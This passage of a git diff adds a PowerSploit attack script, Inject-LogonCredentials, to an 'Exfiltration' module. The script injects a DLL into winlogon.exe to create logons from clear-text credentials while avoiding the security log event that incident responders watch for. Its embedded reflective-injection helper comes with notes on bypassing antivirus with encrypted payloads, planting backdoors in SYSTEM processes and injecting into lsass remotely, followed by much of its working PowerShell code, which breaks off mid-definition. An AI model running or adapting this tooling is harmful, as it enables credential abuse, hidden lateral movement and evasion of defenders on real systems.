mode 100644 Exfiltration/LogonUser/LogonUser/logon/logon.vcxproj.filters create mode 100644 Exfiltration/LogonUser/LogonUser/logon/stdafx.cpp create mode 100644 Exfiltration/LogonUser/LogonUser/logon/stdafx.h create mode 100644 Exfiltration/LogonUser/LogonUser/logon/targetver.h diff --git a/Exfiltration/Exfiltration.psd1 b/Exfiltration/Exfiltration.psd1 index 5268eb25..aaddba11 100644 --- a/Exfiltration/Exfiltration.psd1 +++ b/Exfiltration/Exfiltration.psd1 @@ -75,7 +75,7 @@ ModuleList = @(@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = # List of all files packaged with this module FileList = 'Exfiltration.psm1', 'Exfiltration.psd1', 'Get-TimedScreenshot.ps1', 'Out-Minidump.ps1', 'Get-Keystrokes.ps1', 'Get-GPPPassword.ps1', 'Usage.md', 'Invoke-Mimikatz.ps1', - 'Invoke-NinjaCopy.ps1', 'Invoke-TokenManipulation.ps1' + 'Invoke-NinjaCopy.ps1', 'Invoke-TokenManipulation.ps1', 'Inject-LogonCredentials.ps1' # Private data to pass to the module specified in RootModule/ModuleToProcess # PrivateData = '' diff --git a/Exfiltration/Inject-LogonCredentials.ps1 b/Exfiltration/Inject-LogonCredentials.ps1 new file mode 100644 index 00000000..56bf92f1 --- /dev/null +++ b/Exfiltration/Inject-LogonCredentials.ps1 @@ -0,0 +1,3413 @@ +function Inject-LogonCredentials +{ + <# + .SYNOPSIS + + This script allows an attacker to create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon). + The script either creates a suspended winlogon.exe process running as SYSTEM, or uses an existing WinLogon process. Then, it injects a DLL in to + winlogon.exe which calls LsaLogonUser to create a logon from within winlogon.exe (which is where it is called from when a user logs in using RDP or + logs on locally). The injected DLL then impersonates the new logon token with its current thread so that it can be kidnapped using Invoke-TokenManipulation. + + PowerSploit Function: Inject-LogonCredentials + Author: Joe Bialek, Twitter: @JosephBialek + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + Version: 1.0 + + .DESCRIPTION + + This script allows an attacker to create logons with clear-text credentials without triggering a suspicious Event ID 4648 (Explicit Credential Logon). + The script either creates a suspended winlogon.exe process running as SYSTEM, or uses an existing WinLogon process. Then, it injects a DLL in to + winlogon.exe which calls LsaLogonUser to create a logon from within winlogon.exe (which is where it is called from when a user logs in using RDP or + logs on locally). The injected DLL then impersonates the new logon token with its current thread so that it can be kidnapped using Invoke-TokenManipulation. + + .PARAMETER NewWinLogon + + Switch. Specifies that this script should create a new WinLogon.exe process. This may be suspicious, as log correlation can show winlogon.exe was + created by PowerShell.exe. + + .PARAMETER ExistingWinLogon + + Switch. Specifies that this script should use an existing WinLogon.exe process. This will leave behind code (a reflectively loaded DLL) in the process. + + .PARAMETER DomainName + + The domain name of the user account. + + .PARAMETER UserName + + The username to log in with. + + .PARAMETER Password + + The password of the user. + + .PARAMETER LogonType + + The logon type of the injected logon. Can be Interactive, RemoteInteractive, or NetworkCleartext + + .PARAMETER AuthPackage + + The authentication package to use. Default is Kerberos. Msv1_0 can be specified but should only be used for local accounts (which can't use kerberos). + + + .EXAMPLE + + Inject-LogonCredentials -DomainName "demo" -UserName "administrator" -Password "Password1" -NewWinLogon + + Creates a new winlogon process (as the SYSTEM account) and creates a logon from within the process as demo\administrator. The logon will default to + RemoteInteractive (an RDP logon). Defaults to using the Kerberos provider. + + .EXAMPLE + + Inject-LogonCredentials -DomainName "demo" -UserName "administrator" -Password "Password1" -ExistingWinLogon -LogonType NetworkCleartext + + Uses an existing winlogon process and creates a loogn from within it as demo\administrator. The logon will be type NetworkCleartext (used in basic auth + and PowerShell w/ CredSSP). Defaults to using the Kerberos provider. + + .EXAMPLE + + Inject-LogonCredentials -DomainName "demo" -UserName "administrator" -Password "Password1" -NewWinLogon -AuthPackage Msv1_0 + + Creates a new winlogon process (as the SYSTEM account) and creates a logon from within the process as demo\administrator. The logon will default to + RemoteInteractive (and RDP logon). The logon will use the Msv1_0 auth package (NTLM). + + .NOTES + Normally when you do a RunAS logon, the EventID 4648 will show your current account, current process, and the account you are logging in with. + Incident responders use this to look for lateral movement. They can see a random user logging in with high privilege credentials, which stands out. + This script allows you to create the logon from within winlogon.exe, as SYSTEM. This allows you to create 4648 event logs which make it appear that the + user logged in using RDP or logged in locally, rather than the logon showing up as a suspicious RunAS. Then you can use token kidnapping, such as the + Invoke-TokenManipulation script to kidnap the security token. This token can then be used to authenticate over the network for pivoting and other post + exploitation. + + .LINK + + Blog: http://clymb3r.wordpress.com/ + Github repo: https://github.com/clymb3r/PowerShell + + #> + + [CmdletBinding()] + Param( + [Parameter(ParameterSetName = "NewWinLogon", Position = 0)] + [Switch] + $NewWinLogon, + + [Parameter(ParameterSetName = "ExistingWinLogon", Position = 0)] + [Switch] + $ExistingWinLogon, + + [Parameter(Position=1, Mandatory=$true)] + [String] + $DomainName, + + [Parameter(Position=2, Mandatory=$true)] + [String] + $UserName, + + [Parameter(Position=3, Mandatory=$true)] + [String] + $Password, + + [Parameter()] + [ValidateSet("Interactive","RemoteInteractive", "NetworkCleartext")] + [String] + $LogonType = "RemoteInteractive", + + [Parameter()] + [ValidateSet("Kerberos","Msv1_0")] + [String] + $AuthPackage = "Kerberos" + ) + + Set-StrictMode -Version 2 + + + + + function Invoke-ReflectivePEInjection + { + <# + .SYNOPSIS + + This script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process, + or it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints, + please lead the Notes section (GENERAL NOTES) for information on how to use them. + + + 1.)Reflectively loads a DLL or EXE in to memory of the Powershell process. + Because the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process. + + This tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system, + this will load and execute the DLL/EXE in to memory without writing any files to disk. + + + 2.) Reflectively load a DLL in to memory of a remote process. + As mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process. + + This is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output + from the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the + remote process. + + + While this script provides functionality to specify a file to load from disk or from a URL, these are more for demo purposes. The way I'd recommend using the script is to create a byte array + containing the file you'd like to reflectively load, and hardcode that byte array in to the script. One advantage of doing this is you can encrypt the byte array and decrypt it in memory, which will + bypass A/V. Another advantage is you won't be making web requests. The script can also load files from SQL Server and be used as a SQL Server backdoor. Please see the Casaba + blog linked below (thanks to whitey). + + PowerSploit Function: Invoke-ReflectivePEInjection + Author: Joe Bialek, Twitter: @JosephBialek + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + Version: 1.1 + + .DESCRIPTION + + Reflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process. + + .PARAMETER PEPath + + The path of the DLL/EXE to load and execute. This file must exist on the computer the script is being run on, not the remote computer. + + .PARAMETER PEUrl + + A URL containing a DLL/EXE to load and execute. + + .PARAMETER ComputerName + + Optional, an array of computernames to run the script on. + + .PARAMETER FuncReturnType + + Optional, the return type of the function being called in the DLL. Default: Void + Options: String, WString, Void. See notes for more information. + IMPORTANT: For DLLs being loaded remotely, only Void is supported. + + .PARAMETER ExeArgs + + Optional, arguments to pass to the executable being reflectively loaded. + + .PARAMETER ProcName + + Optional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. + + .PARAMETER ProcId + + Optional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this. + + .EXAMPLE + + Load DemoDLL from a URL and run the exported function WStringFunc on the current system, print the wchar_t* returned by WStringFunc(). + Note that the file name on the website can be any file extension. + Invoke-ReflectivePEInjection -PEUrl http://yoursite.com/DemoDLL.dll -FuncReturnType WString + + .EXAMPLE + + Load DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc(). + Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName Target.local + + .EXAMPLE + + Load DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print + the wchar_t* returned by WStringFunc() from all the computers. + Invoke-ReflectivePEInjection -PEPath DemoDLL.dll -FuncReturnType WString -ComputerName (Get-Content targetlist.txt) + + .EXAMPLE + + Load DemoEXE and run it locally. + Invoke-ReflectivePEInjection -PEPath DemoEXE.exe -ExeArgs "Arg1 Arg2 Arg3 Arg4" + + .EXAMPLE + + Refectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer. + Invoke-ReflectivePEInjection -PEPath DemoDLL_RemoteProcess.dll -ProcName lsass -ComputerName Target.Local + + .NOTES + GENERAL NOTES: + The script has 3 basic sets of functionality: + 1.) Reflectively load a DLL in to the PowerShell process + -Can return DLL output to user when run remotely or locally. + -Cleans up memory in the PS process once the DLL finishes executing. + -Great for running pentest tools on remote computers without triggering process monitoring alerts. + -By default, takes 3 function names, see below (DLL LOADING NOTES) for more info. + 2.) Reflectively load an EXE in to the PowerShell process. + -Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally. + -Cleans up memory in the PS process once the DLL finishes executing. + -Great for running existing pentest tools which are EXE's without triggering process monitoring alerts. + 3.) Reflectively inject a DLL in to a remote process. + -Can NOT return DLL output to the user when run remotely OR locally. + -Does NOT clean up memory in the remote process if/when DLL finishes execution. + -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory. + -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded. + + + + DLL LOADING NOTES: + + PowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output. + If you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL + return a char* or wchar_t*, which PowerShell can take and read the output from. Anything output from stdout which is run using powershell + remoting will not be returned to you. If you just run the PowerShell script locally, you WILL be able to see the stdout output from + applications because it will just appear in the console window. The limitation only applies when using PowerShell remoting. + + For DLL Loading: + Once this script loads the DLL, it calls a function in the DLL. There is a section near the bottom labeled "YOUR CODE GOES HERE" + I recommend your DLL take no parameters. I have prewritten code to handle functions which take no parameters are return + the following types: char*, wchar_t*, and void. If the function returns char* or wchar_t* the script will output the + returned data. The FuncReturnType parameter can be used to specify which return type to use. The mapping is as follows: + wchar_t* : FuncReturnType = WString + char* : FuncReturnType = String + void : Default, don't supply a FuncReturnType + + For the whcar_t* and char_t* options to work, you must allocate the string to the heap. Don't simply convert a string + using string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns. + + The function name expected in the DLL for the prewritten FuncReturnType's is as follows: + WString : WStringFunc + String : StringFunc + Void : VoidFunc + + These function names ARE case sensitive. To create an exported DLL function for the wstring type, the function would + be declared as follows: + extern "C" __declspec( dllexport ) wchar_t* WStringFunc() + + + If you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify + this script to accomodate this. You can find the code to modify in the section labeled "YOUR CODE GOES HERE". + + Find a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection + + .LINK + + Blog: http://clymb3r.wordpress.com/ + Github repo: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectivePEInjection + + Blog on reflective loading: http://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/ + Blog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/ + Blog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/ + + #> + + [CmdletBinding()] + Param( + [Parameter(Mandatory = $true)] + [Byte[]] + $Bytes32, + + [Parameter(Mandatory = $true)] + [Byte[]] + $Bytes64, + + [Parameter(Position = 1)] + [String[]] + $ComputerName, + + [Parameter(Position = 2)] + [ValidateSet( 'WString', 'String', 'Void' )] + [String] + $FuncReturnType = 'Void', + + [Parameter(Position = 3)] + [String] + $ExeArgs, + + [Parameter(Position = 4)] + [Int32] + $ProcId, + + [Parameter(Position = 5)] + [String] + $ProcName + ) + + Set-StrictMode -Version 2 + + + $RemoteScriptBlock = { + [CmdletBinding()] + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $FuncReturnType, + + [Parameter(Position = 2, Mandatory = $false)] + [Int32] + $ProcId, + + [Parameter(Position = 3, Mandatory = $false)] + [String] + $ProcName + ) + + ################################### + ########## Win32 Stuff ########## + ################################### + Function Get-Win32Types + { + $Win32Types = New-Object System.Object + + #Define all the structures/enums that will be used + # This article shows you how to do this with reflection: http://www.exploit-monday.com/2012/07/structs-and-enums-using-reflection.html + $Domain = [AppDomain]::CurrentDomain + $DynamicAssembly = New-Object System.Reflection.AssemblyName('DynamicAssembly') + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynamicAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('DynamicModule', $false) + $ConstructorInfo = [System.Runtime.InteropServices.MarshalAsAttribute].GetConstructors()[0] + + + ############ ENUM ############ + #Enum MachineType + $TypeBuilder = $ModuleBuilder.DefineEnum('MachineType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('Native', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('I386', [UInt16] 0x014c) | Out-Null + $TypeBuilder.DefineLiteral('Itanium', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('x64', [UInt16] 0x8664) | Out-Null + $MachineType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MachineType -Value $MachineType + + #Enum MagicType + $TypeBuilder = $ModuleBuilder.DefineEnum('MagicType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR32_MAGIC', [UInt16] 0x10b) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_NT_OPTIONAL_HDR64_MAGIC', [UInt16] 0x20b) | Out-Null + $MagicType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name MagicType -Value $MagicType + + #Enum SubSystemType + $TypeBuilder = $ModuleBuilder.DefineEnum('SubSystemType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_UNKNOWN', [UInt16] 0) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_NATIVE', [UInt16] 1) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_GUI', [UInt16] 2) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CUI', [UInt16] 3) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_POSIX_CUI', [UInt16] 7) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_WINDOWS_CE_GUI', [UInt16] 9) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_APPLICATION', [UInt16] 10) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER', [UInt16] 11) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER', [UInt16] 12) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_EFI_ROM', [UInt16] 13) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_SUBSYSTEM_XBOX', [UInt16] 14) | Out-Null + $SubSystemType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name SubSystemType -Value $SubSystemType + + #Enum DllCharacteristicsType + $TypeBuilder = $ModuleBuilder.DefineEnum('DllCharacteristicsType', 'Public', [UInt16]) + $TypeBuilder.DefineLiteral('RES_0', [UInt16] 0x0001) | Out-Null + $TypeBuilder.DefineLiteral('RES_1', [UInt16] 0x0002) | Out-Null + $TypeBuilder.DefineLiteral('RES_2', [UInt16] 0x0004) | Out-Null + $TypeBuilder.DefineLiteral('RES_3', [UInt16] 0x0008) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_DYNAMIC_BASE', [UInt16] 0x0040) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_FORCE_INTEGRITY', [UInt16] 0x0080) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLL_CHARACTERISTICS_NX_COMPAT', [UInt16] 0x0100) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_ISOLATION', [UInt16] 0x0200) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_SEH', [UInt16] 0x0400) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_NO_BIND', [UInt16] 0x0800) | Out-Null + $TypeBuilder.DefineLiteral('RES_4', [UInt16] 0x1000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_WDM_DRIVER', [UInt16] 0x2000) | Out-Null + $TypeBuilder.DefineLiteral('IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE', [UInt16] 0x8000) | Out-Null + $DllCharacteristicsType = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name DllCharacteristicsType -Value $DllCharacteristicsType + + ########### STRUCT ########### + #Struct IMAGE_DATA_DIRECTORY + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_DATA_DIRECTORY', $Attributes, [System.ValueType], 8) + ($TypeBuilder.DefineField('VirtualAddress', [UInt32], 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('Size', [UInt32], 'Public')).SetOffset(4) | Out-Null + $IMAGE_DATA_DIRECTORY = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_DATA_DIRECTORY -Value $IMAGE_DATA_DIRECTORY + + #Struct IMAGE_FILE_HEADER + $Attributes = 'AutoLayout, AnsiClass, Class, Public, SequentialLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_FILE_HEADER', $Attributes, [System.ValueType], 20) + $TypeBuilder.DefineField('Machine', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSections', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('TimeDateStamp', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('PointerToSymbolTable', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('NumberOfSymbols', [UInt32], 'Public') | Out-Null + $TypeBuilder.DefineField('SizeOfOptionalHeader', [UInt16], 'Public') | Out-Null + $TypeBuilder.DefineField('Characteristics', [UInt16], 'Public') | Out-Null + $IMAGE_FILE_HEADER = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_FILE_HEADER -Value $IMAGE_FILE_HEADER + + #Struct IMAGE_OPTIONAL_HEADER64 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER64', $Attributes, [System.ValueType], 240) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt64], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt64], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt64], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt64], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt64], 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(108) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(208) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(216) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(224) | Out-Null + ($TypeBuilder.DefineField('Reserved', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(232) | Out-Null + $IMAGE_OPTIONAL_HEADER64 = $TypeBuilder.CreateType() + $Win32Types | Add-Member -MemberType NoteProperty -Name IMAGE_OPTIONAL_HEADER64 -Value $IMAGE_OPTIONAL_HEADER64 + + #Struct IMAGE_OPTIONAL_HEADER32 + $Attributes = 'AutoLayout, AnsiClass, Class, Public, ExplicitLayout, Sealed, BeforeFieldInit' + $TypeBuilder = $ModuleBuilder.DefineType('IMAGE_OPTIONAL_HEADER32', $Attributes, [System.ValueType], 224) + ($TypeBuilder.DefineField('Magic', $MagicType, 'Public')).SetOffset(0) | Out-Null + ($TypeBuilder.DefineField('MajorLinkerVersion', [Byte], 'Public')).SetOffset(2) | Out-Null + ($TypeBuilder.DefineField('MinorLinkerVersion', [Byte], 'Public')).SetOffset(3) | Out-Null + ($TypeBuilder.DefineField('SizeOfCode', [UInt32], 'Public')).SetOffset(4) | Out-Null + ($TypeBuilder.DefineField('SizeOfInitializedData', [UInt32], 'Public')).SetOffset(8) | Out-Null + ($TypeBuilder.DefineField('SizeOfUninitializedData', [UInt32], 'Public')).SetOffset(12) | Out-Null + ($TypeBuilder.DefineField('AddressOfEntryPoint', [UInt32], 'Public')).SetOffset(16) | Out-Null + ($TypeBuilder.DefineField('BaseOfCode', [UInt32], 'Public')).SetOffset(20) | Out-Null + ($TypeBuilder.DefineField('BaseOfData', [UInt32], 'Public')).SetOffset(24) | Out-Null + ($TypeBuilder.DefineField('ImageBase', [UInt32], 'Public')).SetOffset(28) | Out-Null + ($TypeBuilder.DefineField('SectionAlignment', [UInt32], 'Public')).SetOffset(32) | Out-Null + ($TypeBuilder.DefineField('FileAlignment', [UInt32], 'Public')).SetOffset(36) | Out-Null + ($TypeBuilder.DefineField('MajorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(40) | Out-Null + ($TypeBuilder.DefineField('MinorOperatingSystemVersion', [UInt16], 'Public')).SetOffset(42) | Out-Null + ($TypeBuilder.DefineField('MajorImageVersion', [UInt16], 'Public')).SetOffset(44) | Out-Null + ($TypeBuilder.DefineField('MinorImageVersion', [UInt16], 'Public')).SetOffset(46) | Out-Null + ($TypeBuilder.DefineField('MajorSubsystemVersion', [UInt16], 'Public')).SetOffset(48) | Out-Null + ($TypeBuilder.DefineField('MinorSubsystemVersion', [UInt16], 'Public')).SetOffset(50) | Out-Null + ($TypeBuilder.DefineField('Win32VersionValue', [UInt32], 'Public')).SetOffset(52) | Out-Null + ($TypeBuilder.DefineField('SizeOfImage', [UInt32], 'Public')).SetOffset(56) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeaders', [UInt32], 'Public')).SetOffset(60) | Out-Null + ($TypeBuilder.DefineField('CheckSum', [UInt32], 'Public')).SetOffset(64) | Out-Null + ($TypeBuilder.DefineField('Subsystem', $SubSystemType, 'Public')).SetOffset(68) | Out-Null + ($TypeBuilder.DefineField('DllCharacteristics', $DllCharacteristicsType, 'Public')).SetOffset(70) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackReserve', [UInt32], 'Public')).SetOffset(72) | Out-Null + ($TypeBuilder.DefineField('SizeOfStackCommit', [UInt32], 'Public')).SetOffset(76) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapReserve', [UInt32], 'Public')).SetOffset(80) | Out-Null + ($TypeBuilder.DefineField('SizeOfHeapCommit', [UInt32], 'Public')).SetOffset(84) | Out-Null + ($TypeBuilder.DefineField('LoaderFlags', [UInt32], 'Public')).SetOffset(88) | Out-Null + ($TypeBuilder.DefineField('NumberOfRvaAndSizes', [UInt32], 'Public')).SetOffset(92) | Out-Null + ($TypeBuilder.DefineField('ExportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(96) | Out-Null + ($TypeBuilder.DefineField('ImportTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(104) | Out-Null + ($TypeBuilder.DefineField('ResourceTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(112) | Out-Null + ($TypeBuilder.DefineField('ExceptionTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(120) | Out-Null + ($TypeBuilder.DefineField('CertificateTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(128) | Out-Null + ($TypeBuilder.DefineField('BaseRelocationTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(136) | Out-Null + ($TypeBuilder.DefineField('Debug', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(144) | Out-Null + ($TypeBuilder.DefineField('Architecture', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(152) | Out-Null + ($TypeBuilder.DefineField('GlobalPtr', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(160) | Out-Null + ($TypeBuilder.DefineField('TLSTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(168) | Out-Null + ($TypeBuilder.DefineField('LoadConfigTable', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(176) | Out-Null + ($TypeBuilder.DefineField('BoundImport', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(184) | Out-Null + ($TypeBuilder.DefineField('IAT', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(192) | Out-Null + ($TypeBuilder.DefineField('DelayImportDescriptor', $IMAGE_DATA_DIRECTORY, 'Public')).SetOffset(200) | Out-Null + ($TypeBuilder.DefineField('CLRRuntimeHeader', 